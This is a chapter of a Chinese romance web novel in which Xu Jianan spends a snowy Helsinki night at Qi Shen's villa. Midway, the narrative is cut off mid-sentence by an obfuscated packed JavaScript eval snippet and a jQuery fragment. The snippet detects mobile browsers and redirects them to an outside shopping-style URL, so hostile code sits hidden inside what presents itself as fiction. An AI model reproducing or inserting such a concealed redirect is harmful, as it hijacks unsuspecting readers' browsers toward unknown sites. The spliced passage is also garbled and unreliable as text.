祁深的提议,让许迦南很意外,但她很快反应过来,他只是在发善心,试图收留一个在雪夜无处可去的人。
换做是她,同样也会这样做。
可经过这番折腾,她实在不想再麻烦对方,故作轻松地笑了笑,“不用了,我可以去住酒店,很近的,就在街对面。”
说着,她还特意朝斜对面的那间酒店瞥了眼。
祁深并未顺着她的视线望向酒店。
他仍站在原地,定定地看着她,“许迦南,如果能住酒店,你应该也不会选择去朋友家。”
许迦南神色微滞。
“如果我没猜错,你的护照大概是不见了,对吗?”
唇角抿出的笑一点点消失,许迦南没想到,这个男人看似漫不经心,却是什么都猜到了。
可他此刻的姿态,让她不太舒服。他看穿了她,高高在上地俯视着她,语气笃定得像有多了解她似的。
许迦南皱了皱眉,仰头直视着对面的祁深,眸色染上几分雪的清冷。
“就算护照真丢了,那也是我自己的事。”
祁深对上她的视线,瞳仁深而冷。
气氛急转直下,忽然就结了冰。
片刻后,许迦南率先别开了视线。
算了。
他因为自己被折腾了一个晚上,于情于理,她都不该发脾气。
“祁深,谢谢你今晚赶过来,但你不用担心,我在这里这么多年了,不会有什么事的。”
她深吸一口气,语气疏离客气,“我们就在这里分道扬镳吧。”
话音随着雪落地,许迦南将手机塞进口袋,羽绒服拉链拉到顶,准备朝着反方向去。
下一刻,手腕却被拽住。
“许迦南。”祁深扣着她的手,抬头看了眼天幕,“雪越来越大了。”
脚下一顿,许迦南也顺势抬头。不知何时,减弱的雪势再度转大,织成一张密密的网,铺天盖地从天幕罩下。
“给个面子。”
男人的声音比刚才柔和几分。
--
许迦南终究还是上了祁深的车。如果适当“妥协”,能给双方都减少不必要的麻烦,她不会固执己见。
上车后,她又收到陈思颖发来的信息,问她发生什么了,为何突然借宿。
【没事,已经解决了】
回复对方后,她拉过安全带,问祁深:“对了,你怎么知道我家的地址?”
“问了你哥。”祁深握着方向盘,看着前方的路况道。
许迦南了然地点点头。这种情况下,若他贸然去问姑姑,有些事会被拆穿,这点默契他们还是有的。
而他跟堂哥陈延之,曾是高中校友,还算熟识。
“咔哒”一声,她将安全带卡进卡槽里,想起什么,“对了,姑姑问你喜欢哪款面料,我跟她说,你的意思是让她看着办。”
车缓缓驶入主路,祁深淡淡地“嗯”了声。
几秒的安静后,他再度开口:“许迦南。”
许迦南转头看他。
“今晚的事你很勇敢,但下次再遇到这种情况,我建议你先跑,收集证据是警察的事。”
许迦南点点头,“谢谢你的建议。”
她承认他这话的确很有道理,但还是多解释了句:“不过据我观察,Damon的脚受了伤,应该是追不上我的。”
这话乍一听像是带着胜负欲,祁深偏头打量她,她望着窗外,面色是淡然的,没有任何较劲的意味,看起来只是对“危险”这个东西毫不在意罢了。
“不过祁深。”许迦南转回视线,“你今天帮了我,我很感激。但下一次公开关系前,能不能先同我商量下?”
隐瞒关系是两人最初的协议。
而家里人也答应了,先登记,不对外公开,等许迦南毕业,举办婚礼时,再公之于众。
至于会不会有办婚礼的那一天,又是另外的说辞。
雪密密匝匝落在车前,祁深盯着前方没有出声,直到穿过一个红绿灯路口,他低缓的声音才落下。
“嗯。”
得到回应,许迦南放下心来,再度将视线投向窗外。
雪还在下,路灯一盏一盏往后退。车里彻底静下来,不多时,舒缓的旋律从音响里漫出。
音符很轻,像落在玻璃窗上的雪粒。
许迦南扭头看了眼中控屏,冰蓝色的光映亮她眼眸。
《NearNight》。
一首很适合赫尔辛基雪夜的曲子。
她闭眼靠在椅背上休息。不知过了多久,轮胎碾过石子,一声轻响后,车停了下来。
许迦南睁开眼,窗外是一个超市,暖融融的光从落地窗透出,映亮几米外的街道。
“还缺什么,可以去里面看看。”祁深的声音从身侧传来。
她临走时检查了好几遍行李,应该没有遗漏的东西。
“不用——”
想起什么,她一顿,解开安全带,推开了车门,“那你等我几分钟。”
在她离开后,祁深拨了通越洋电话出去。
“封董今天出差?”他问秘书。
他盯着前方沉黑的夜,听着对方的汇报,半晌后他淡淡开口,“嗯。知道了。”
三两句话挂断后,不过两分钟,许迦南就从超市出来。
这么短的时间能买什么?
他下意识看了眼她手上的牛皮纸袋。
地上雪水融化,分明很滑,她却并未放慢速度,大抵是又怕耽搁他的时间。仔细算算,今晚她已经跟他说了不下五次“谢谢”。
这跟他印象中的许迦南,大相径庭。
在那些传闻的版本里,她的形象总跟“许家的掌上明珠”、“溺爱”、“娇纵”、“肆意妄为”这些词联系在一起。
最后两步,许迦南几乎是用跑的,她一把拉开车门钻进去,却是将手中纸袋递给了驾驶座的男人。
祁深一愣,盯着那东西:“给我的?”
“嗯。”许迦南拉上车门,“是创可贴,你的手不是受伤了吗?”
刚才离开公寓时,他走得太快,她都没来得及去药箱找这东西。
“谢谢。”祁深接过纸袋,动作顿了下,转手放在中控台上。
“你不贴吗?”许迦南问。
“回家再弄。”手机又进了通电话,他低头查看时,顺口道:“现在不太方便。”
他不喜欢开车握着方向盘时,手上有任何阻隔的东西。
许迦南误以为是接电话不方便操作,重新拿起纸袋,从里面翻出一叠创可贴,撕下一枚,语气诚恳地开口。
“要不要我帮你?”
祁深正伸手去拿耳机,闻言,手在中控台上一顿。
就在这时,“啪”的一声,枝头积雪重重砸在前舱盖上。
接连几声闷响后,周遭重归于静,车厢内只剩下引擎微弱的嗡鸣。
祁深拿起耳机塞进耳廓,按下接通键前,将受伤的那只手递给许迦南。
“那就麻烦你了。”
--
《NearNight》不知何时进入循环模式,尾音落下时,车停在一栋别墅前。
直到踏进玄关,许迦南才确定,这栋别墅不是什么度假之地,是他的私人宅邸。
入户区域布置成收藏室,墙上挂着一艘两米左右的木船模型,两侧陈列柜里,是各种汽车模型。
祁深拾起地上那只橘色的布加迪乐高模型,随手放回玻璃柜顶层,接着拉开鞋柜,拿出一双白色女式拖鞋。
“试试合不合脚。”
许迦南
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912921|213203||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
心里生出些许疑问:若只是短暂度假,何必购置这样一套私宅?家里又为什么会有女人的拖鞋?
但她什么也没问,当初她说过,不会干涉他的私生活。
放下背包,许迦南踩上去试了试,鞋子却是意外合脚。
“很合适,谢谢。”
祁深带她参观了整栋房子,楼上的卧室和书房,楼下的公共空间,以及前后两个花园。
她觉得没有必要,毕竟自己只借宿一晚,只需要给她一间卧室即可,但碍于礼节,她没有打断他。
--
许迦南住的次卧在祁深隔壁。
洗完澡出来,正在整理换下的衣物时,祁向洲打来电话,问起刚才的案情。
许迦南将外套挂进衣柜,“我这里没丢什么贵重的东西,倒是罗莎,首饰几乎被洗劫一空。”
身后传来一阵冷意,她回头看了眼,走到落地窗边,将窗户关上。
“所以Eero认为,Damon此举很有可能只是为了报复罗莎。”
祁向洲其实已经从同事那里了解了案情,证据确凿,剩下就是抓人的事。
此刻来电,本是想叮嘱许迦南下次别再胆大妄为,保护自己更要紧,可听见她淡然的声音,又咽下这话,转了话题。
“Eero这人性子着急,如果他说了什么不好听的话,你别在意。”
“我知道的。”
“对了。”祁向洲咳咳两声,“那个,Eero说看见了你老公,怎么回事啊?你什么时候结的婚,我怎么不知道?”
“这事说来话长——”隔壁突然传来脚步声,许迦南压低了声音,“向洲哥,我改天空了找你聊。”
她找借口掐断了电话。
将电话扔在床上,许迦南环视了眼这个冷色调的卧室,拿起床头柜的遥控,将灯光调成暖光,随即拿着保温杯下了楼。
楼下没人,许迦南去茶水台接了热水,准备上楼时,却发现厨房后面的玻璃花园亮着灯。
刚刚祁深带她参观那里时,只一晃而过,她并未走近细看。停了两秒,她抱着保温杯,朝着透光的玻璃门走去。
花房门开着,但祁深不在。她站在门口望去,花房面积不大,却堪称一座小型植物园。
十几平米的空间,顶棚是斜坡设计,地面铺着深色粗陶砖,靠外侧的那面墙贴着灰色毛毡,用来做保温。
四周大型植物错落排布,中间的长木桌上,放着些小型盆栽、工具,还有几本植物学书籍。
而木桌中间,黑色的陶盆里,一株昙花正在绽放。
白色花瓣一层层地,以极其细微的动静向外翻卷着,在灯光下,边缘近乎透明。
许迦南一直认为,生命中有很多值得铭记的moment,而昙花在夜里的盛放,便是其一。
她有幸撞上,呼吸在那一瞬变得很轻。
外面的雪还在下,无声落在玻璃顶棚上。她看着昙花持续缓慢地舒展,不知不觉走过去,朝着花朵伸了手。
“别动。”
一只手从身后伸过来,握住了她的手腕。
许迦南闻声回头。
祁深站在她身后,穿着件宽松的深灰色V领毛衣,像刚洗过澡,身上有种草木的清香,额前的刘海松软地覆着。
“抱歉。”以为自己越界了,许迦南立刻就要收手。
祁深却没有松手,目光落向她的手腕。
许迦南顺着他的视线低头看去,男人冷白修长的手指,正圈着她纤细的腕骨,粗粝指腹刚好抵在她脉搏处,微凉指尖贴着她跳动温热的脉搏。
而脉搏往上,手掌的掌根处,是一条被刺划出的红色血痕。
“许迦南。”
他温热的气息落在她耳侧很近的地方。
“你受伤了。”